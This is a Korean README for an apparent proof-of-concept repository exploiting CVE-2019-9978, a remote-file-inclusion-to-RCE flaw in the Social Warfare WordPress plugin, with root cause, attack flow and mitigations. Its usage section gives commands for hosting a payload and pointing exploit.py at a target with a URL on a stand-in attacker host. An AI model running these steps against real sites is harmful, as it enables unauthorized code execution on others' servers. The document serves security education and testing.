
CVE 2019-9978 (Social Warfare 플러그인)의 근본 원인 분석 및 익스플로잇을 보여주는 맞춤형 Python 개념 증명으로,실용적인 RFI에서 RCE로 이어지는 공격 흐름에 중점을 둡니다.
이 저장소는 Social Warfare WordPress 플러그인의 중요한 취약점인 CVE-2019-9978 악용을 시연하는 Python 기반 PoC를 포함합니다.
이 취약점은 인증되지 않은 공격자가 **원격 파일 포함(RFI)**을 수행할 수 있게 하며, 공격자 제어 서버에서 악성 페이로드를 호스팅하여 *원격 코드 실행(RCE)*로 확대될 수 있습니다.
이 PoC는 교육 및 승인된 보안 테스트 목적으로만 통제된 WordPress 실습 환경에서 개발 및 테스트되었습니다.
| CVE 식별자: | CVE-2019-9978 | | 영향받는 구성 요소: | Social Warfare (WordPress 플러그인) | | 영향받는 버전: | ≤ 3.5.2 | | 취약점 유형: | Remote File Inclusion (RFI) | | 영향: | Remote Code Execution (RCE) | | 인증 필요: | No | | 공격 벡터: | Remote | | 심각도: | Critical |
Social Warfare 플러그인이 원격 콘텐츠 포함에 사용되는 사용자 입력의 유효성 검사 및 삭제를 제대로 수행하지 못합니다.
그 결과, 공격자는 악성 외부 URL을 제공하여 인증되지 않은 원격 파일 포함이 가능합니다.
포함된 원격 파일에 실행 가능한 PHP 코드가 포함되어 있으면 WordPress 서버 컨텍스트에서 실행되어 이 발생합니다.
인증되지 않은 HTTP 요청
↓
원격 파일 포함 (외부 URL)
↓
악성 페이로드 실행
↓
원격 코드 실행 (RCE)
python3 -m http.server 8000
페이로드 파일(예: payload-main.txt)을 서버 디렉토리에 배치하십시오.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Social Warfare 플러그인을 패치된 버전으로 업데이트
원격 파일 포함 비활성화:
allow_url_include = Off
WordPress 플러그인의 외부 URL 처리를 제한
RFI 탐지 규칙이 포함된 웹 애플리케이션 방화벽(WAF) 배포
이 프로젝트는 교육 목적 및 승인된 보안 테스트만을 위해 엄격하게 제공됩니다.
명시적 허가 없이 이 PoC를 시스템에 사용하지 마십시오.
저자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.